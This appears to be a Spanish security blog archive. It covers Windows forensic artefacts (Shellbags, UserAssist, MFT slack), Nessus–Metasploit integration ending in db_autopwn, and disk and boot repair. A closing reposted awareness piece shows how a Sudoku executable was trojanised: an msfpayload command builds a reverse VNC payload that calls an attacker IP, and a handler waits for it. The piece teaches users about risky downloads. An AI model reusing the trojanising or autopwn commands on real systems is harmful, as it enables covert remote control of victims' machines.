24 Oct 2012

Evidencias de programas ejecutados: Shellbags y UserAssist.

La situación es tener que demostrar la utilización de programas desde equipos, de los cuales tenía alertas en los IDS sobre la utilización de determinado programa, en los que al revisarlos el administrador de turno no encontraba rastro de ellos en la lista que Windows le ofrece de programas instalados.
Parece que se trata entonces de programas que o bien no necesitan instalación o bien son versiones portables, que se han configurado y preparado para no necesitarla, y que en muchos casos presumen de eliminar todo rastro de su ejecución en el equipo desde el que se lanza.
Para detectar este tipo de software hay una serie de carpetas y artefactos del sistema operativo que pueden evidenciar su uso como son:
  • Las claves del registro conocidas como "Shellbags".
  • Claves del registro UserAssist.
  • Archivos Prefetch.
  • Carpeta de archivos temporales del usuario.
  • Carpeta de archivos recientes del usuario.
  • Búsqueda de archivos borrados (MFT e INDX de carpetas).
  • Registros de eventos del sistema.
Voy a centrarme en las dos primeras fuentes de información en esta entrada y dejo para otra la parte de los archivos Prefetch. Para lo relativo a búsquedas en la MFT e INDX he comentado en los dos artículos anteriores buenas referencias, pero creo que volveré sobre el tema para juntar toda la información.

Bueno, empezando por los "Shellbags": se trata de claves del registro en las que el sistema guarda las preferencias de los usuarios sobre las aplicaciones y las carpetas. Esta información se guarda en el registro del usuario, el NTUSER.DAT, y como novedad en Windows Vista/7 hay que tener en cuenta el nuevo registro específico de cada usuario denominado USRCLASS.DAT y que se encuentra en :
%user profile%\AppData\Local\Microsoft\Windows.

Las claves específicas son:

  • NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU 
  • NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags 
  • NTUSER.DAT\Software\Microsoft\Windows\ShellNoRoam\BagMRU 
  • NTUSER.DAT\Software\Microsoft\Windows\ShellNoRoam\Bags
  • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
  • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags
  • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\ShellNoRoam\BagMRU 
  • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\ShellNoRoam\Bags 

Sin embargo tal y como refiere Chad Tilbury en el artículo que referencio tampoco he encontrado las claves correspondientes a ShellNoRoam en equipos con Windows 7.
Imprescindible leer al menos lo que se dice en las siguientes referencias:

  1. Windows Incident Response: Shellbag analysis
  2. TZWorks: sbag.
  3. Sans Computer Forensics: Windows 7 Shellbags.
  4. Willi Ballenthin: Windows shellbag forensics.
  5. Yuandong Zhu, Pavel Gladyshev, Joshua James: Using shellbag information to reconstruct user activities.
En cuanto a la clave UserAssist del registro: se trata de un seguimiento que hace el sistema operativo de las aplicaciones que se han ejecutado desde la interfaz gráfica. Sus valores son específicos de cada usuario, por lo que se almacenan en su correspondiente NTUSER.DAT, y además lo hacen cifradas con el algoritmo ROT13. Se encuentra en:


  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

Referencias fundamentales:

  1. Didier Stevens: UserAssist.
  2. AccessData: Understanding the UserAssist Registry Key.
  3. Nirsoft: UserAssist_View.

Y aparte de las herramientas referenciadas lo que nunca debe faltarnos a la hora de examinar el registro:


Nota: Para el caso concreto de unidades U3 hay un buen estudio en Edith Cowan University - The Impact of U3 Devices on Forensic Analysis.

Por último decir que efectivamente en el caso que me ocupó encontré evidencias del uso de ejecutables portables en la clave UserAssist del usuario.


21 Oct 2012

NTFS $MFT slack

Hal Pomeranz ha publicado en SANS Computer Forensics un artículo muy interesante sobre la posibilidad de recuperar datos del slack de las entradas de la MFT.
Se trata de la información que queda residente en la entrada de la MFT en el atributo $DATA cuando ésta pasa de ser residente a no residente.
Para la comprobación se sugiere en el artículo probar con una extensión de datos del archivo inferior a 700 bytes de forma que sea residente y posteriormente ampliar su tamaño para comprobar los datos residuales que quedan en la entrada de la MFT.
Referencia: Resident $DATA Residue in NTFS MFT Entries

NTFS INDX Buffers

Acaban de publicar en el blog de Mandiant la cuarta entrega dedicada a los NTFS Index Buffers:
The Internal Structures of an INDX Attribute.

Se trata de una descripción de la estructura y comportamiento de los B+Tree que ayuda a entender este concepto. Es un buen complemento para entender el follón de ese tipo de estructura que se añade a las lecturas:



25 Oct 2010

Nessus y Metasploit (IV)

Y para terminar esta serie dedicada a Nessus y Metasploit voy a ver como emplear archivos con resultados de escaneos en Metasploit.
Si el archivo está en formato .nbe no hay ninguna pega. Lo malo es que a partir de la versión 4 Nessus ya no da la opción de emplear ese formato. El procedimiento a seguir entonces es el siguiente:
Guardamos el resultado del escaneo en el formato .nessus en versión 1, anotamos el nombre del informe tal y como aparece en la pestaña Reports del frontal web de Nessus y lo transformamos mediante:
cd /opt/nessus/bin
./nessus --dot-nessus resultado.nessus -i nombre_del_informe -o resultado.nbe

Ya con ese archivo solo hace falta entrar en Metasploit, arrancar y crear la base de datos de postgreSQL si no lo estaba ya y ejecutar:
db_import_nessus_nbe resultado.nbe


---

Nessus y Metasploit (III)

Siguiente asalto: vamos a ver como usar Nessus desde Metasploit. Esto va a ser simplemente una ristra de comandos con la idea de tener un recordatorio siempre a mano, por lo que hay que comprender que hay cosas que simplemente figuran por su probable utilización, no es que sea un paso-a-paso exacto a seguir. Aclarado esto vamos a por ellos:
/opt/nessus/sbin/nessusd
cd /pentest/exploits/framework3
./msfconsole
load nessus
nessus_help
nessus_connect username:passwd@127.0.0.1:8834 ok
nessus_server_status
nessus_admin   (debemos tener un usuario admin)
nessus_plugin_list
nessus_policy_list
Anotar el [id] y [nombre] del que pensemos usar. Si no está creada habrá que entrar por el frontal web de Nessus en 127.0.0.1:8834 y crearla. Ahora ya lanzamos el escaneo:
nessus_scan_new [id] [nombre] [ip]     ([id] y [nombre] anteriores y la [ip] objetivo)
Para ver el progreso del escaneo:
nessus_scan_status
nessus_report_list   (atentos a copiar el [ID] en el que estemos interesados)
nessus_report_hosts [ID]
nessus_report_host_ports [ip] [ID]
nessus_report_host_detail [ip] [puerto] [protocolo] [ID]

Bueno, seguramente veremos cosas muy interesantes en los resultados y queremos lanzar el autopwn. Para cargar los resultados en la base de datos la arrancamos como hemos visto en el post anterior, si no está ya arrancada, ejecutando en una terminal:
/etc/init.d/postgresql-8.3 start   (si hemos seguido el post anterior no debe dar problemas)
Y de vuelta en Metasploit:
db_driver postgresql
db_connect postgres:[contraseña]@127.0.0.1/dbmetasploit
nessus_report_get [ID]
db_services
db_hosts -c address,vulns
db_autopwn -x -e
sessions -l
sessions -i [id_de_sesion]

---

Nessus y Metasploit (II)

Siguiendo con el tema debo antes anotar, ya que luego será necesario, como configurar la base de datos postgreSQL para que funcione correctamente. El motivo de emplear postgreSQL es que se han comunicado en los foros problemas con el uso de autopwn que son atribuibles al uso de la base de datos sqlite3.
Al intentar iniciar la base de datos postgreSQL se produce un error que se soluciona deshabilitando SSL:
kate /etc/postgresql/8.3/main/postgresql.conf
y comentamos la línea que dice:
ssl=true #(change requieres restart)
Ahora ya podemos arrancar la base de datos:
/etc/init.d/postgresql-8.3 start   (o la versión que tengas)
Configuramos el usuario y passwd:
sudo su postgres -c psql
ALTER USER postgres WITH PASSWORD [contraseña];
\q
sudo passwd -d postgres
sudo su postgres -c passwd
e introducimos la misma [contraseña]
Vamos a Metasploit:
cd /pentest/exploits/framework3
./msfconsole
db_driver postgresql
db_connect postgres:[contraseña]@127.0.0.1/dbmetasploit

Y a darle al autopwn con tranquilidad!

Gracias a sickness por sus explicaciones.
---

Nessus y Metasploit (I)

Las dos opciones para emplear Nessus en Metasploit son lanzarlo desde la propia consola de Metasploit y volcar los resultados a base de datos o importar los resultados desde un archivo externo.
Lo primero desde luego es descargar e instalar Nessus. Una vez descargado de la página correspondiente:
dpkg -i Nessus-xxx.deb
Creamos un usuario con privilegios de administrador:
/opt/nessus/sbin/nessus-adduser
Lo siguiente es registrarlo en la página web:
http://www.nessus.org/plugins/index.php?view=register
Y ahora tenemos que elegir si usar el registro en línea para acceder a las actualizaciones de los plugins o hacerlo desde consola. La elección depende de si vamos a trabajar detras de un proxy o no, ya que en el segundo caso las actualizaciones son automáticas pero necesitamos conexión directa. Si vamos a estar tras un proxy hay que usar la primera opción, y OJO, al tratarse de una versión Home Feed no puede deshacerse la elección realizada.
Con el código recibido, y si optamos por la primera opción (trabajamos detrás de un proxy) vamos a:
http://plugins.nessus.org/offline.php
Introducimos los datos pedidos y cuidamos de seguir las instrucciones al pie de la letra guardando el fichero .rc en:
/opt/nessus/etc/nessus/nessus-fetch.rc
Ahora abrimos este archivo .rc y lo actualizamos con los datos de nuestro proxy. Para actualizar Nessus habrá que lanzar desde ahora:
/opt/nessus/sbin/nessus-update-plugins

En el otro caso ejecutamos:
/opt/nessus/bin/nessus-fetch --register [key]
Y ya se encarga Nessus de actualizarse el solito.

Muy tarde ya. Mañana sigo con el tema.

---

24 Oct 2010

Particiones en Windows 7

Un apunte rápido sobre las particiones en Windows 7, o mejor dicho, sobre el "reparticionado" en un sistema en el que ya lo tenemos instalado y queremos hacer espacio para instalar que se yo... un Linux no?
Lo normal es hacerlo desde el gestor de dispositivos que incorpora el S.O. pero puede suceder que no nos deje tanto espacio como nos gustaría. El problema se puede solucionar recurriendo a la línea de comandos, después de haber desfragmentado el volumen.
Para ello abrimos un terminal de comandos y ejecutamos:
diskpart
list volume
Tomamos nota del volumen a reducir para el siguiente paso:
select volume volumen_a_reducir
shrink querymax
Nos muestra el tamaño máximo disponible para la reducción. Suponiendo que queremos reducir el volumen en tamaño_a_reducir, en MB:
shrink desired=tamaño_a_reducir
exit
Cerramos la consola y desde el gestor de dispositivos creamos la unidad lógica en el espacio que nos aparece libre para que no tengamos problemas con el reconocimiento de las particiones que creemos con Linux.

23 Oct 2010

Problemas arranque

Esto es simplemente una recopilación de cosas que me han salvado el día en algún momento. Una de las primeras cosas a tener en cuenta es que siempre he tenido problemas cuando he creado particiones en Linux y luego he tratado de que Windows accediera a ellas. Lo primero es por tanto crear las particiones lógicas desde Windows y luego formatearlas desde Linux a gusto del consumidor.

En caso de problemas con el arranque de Linux y sea necesario rehacer el Grub:
Arrancar con el liveDVD de la instalación (Linux Mint en mi caso)
sudo fdisk -l
Tomar nota de la partición del S.O.
mount /dev/sda6 /mnt
sudo grub-setup -d /mnt/boot/grub -m /mnt/boot/grub/device.map /dev/sda

Si lo que falla es el arranque del Windows, en mi caso el 7, lo primero es arrancar la consola de recuperación. Si no está instalada reiniciar con el disco de Windows y seleccionar:
Reparar el equipo -> Opciones de recuperación -> Símbolo del Sistema
Aquí ejecutamos:
bootrec /fixmbr
bootrec /fixboot
Si con eso no funciona el arranque repetimos el proceso para arrancar con la consola de recuperación y ejecutamos:
bcdedit /export c:\BCD_backup
c:
cd boot
attrib bcd -s -h -r
ren c:\boot\bcd bcd.old
bootrec /RebuildBcd

Y si ni así se soluciona... a googlear!

22 Oct 2010

Troyanizando en 5'

Enlace: http://gnuler.blogspot.com/2009/06/troyanizando-en-5.html
Contenido:
Uno de los temas charlados durante las jornadas que dicté con Silvia y Gustavo hace dos semanas, fue la responsabilidad del usuario al momento de usar su PC. Con esto de responsabilidad nos referíamos a que no se puede delegar toda la responsabilidad o la decisión de qué es benébolo y que no en un antivirus, sino que es el usuario el que tiene que aportar su lado humano y discernir a la hora de, por ejemplo, bajar un software de Internet de un lugar de confianza.

Muchas veces la gente no es realmente consciente de qué tan malo puede ser un troyano, suena demasiado a ciencia ficción quizás. Es por esto que hicimos una pequeña demostración donde nos bajabamos a nuestra laptop un Sudoku de un sitio de internet dedicado a descargas.

La particularidad era que este soft estaba alterado por nosotros, y al ejecutarse y luego cerrarse se lanzaba una conexión VNC reversa contra la máquina del atacante. Pero mientras tanto era idéntico al software real.

Lamentablemente no tuvimos tiempo suficiente para mostrar qué tan simple fue para nosotros troyanizar este soft, por lo que se los cuento por acá:

Ensuciandonos las manos
El primer paso fue bajar una versión del sudoku que sea un exe standalone, muy fácil buscando un poco por google.

Luego usamos metasploit para generar el payload del vnc reverso, para eso hicimos algo así:

msfpayload windows/vncinject/reverse_tcp LHOST=IP_ATACANTE LPORT=3333 X > reverse-vnc.exe
Y por último nos falta juntar ambas piezas, para no complicarnos usamos una herramienta que es parte de Windows, iexpress.

Del lado del atacante esperamos pacientes con metasploit escuchando:

msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LPORT=3333 LHOST=172.15.0.10 DisableCourtesyShell=TRUE E

Y esto es todo! Una vez que el usuario ejecute nuestro exe empaquetado, se lanzará también el payload del reverse VNC y nos abrirá una bonita ventana desde la cuál podremos controlar a la vícima.


Espero que sirva para que aquellos no tan cercanos al mundo de la Seguridad Informática se den una idea de "que tan fácil" es, y piensen dos veces antes de bajar algún soft desde rapidshare, megaupload, etc.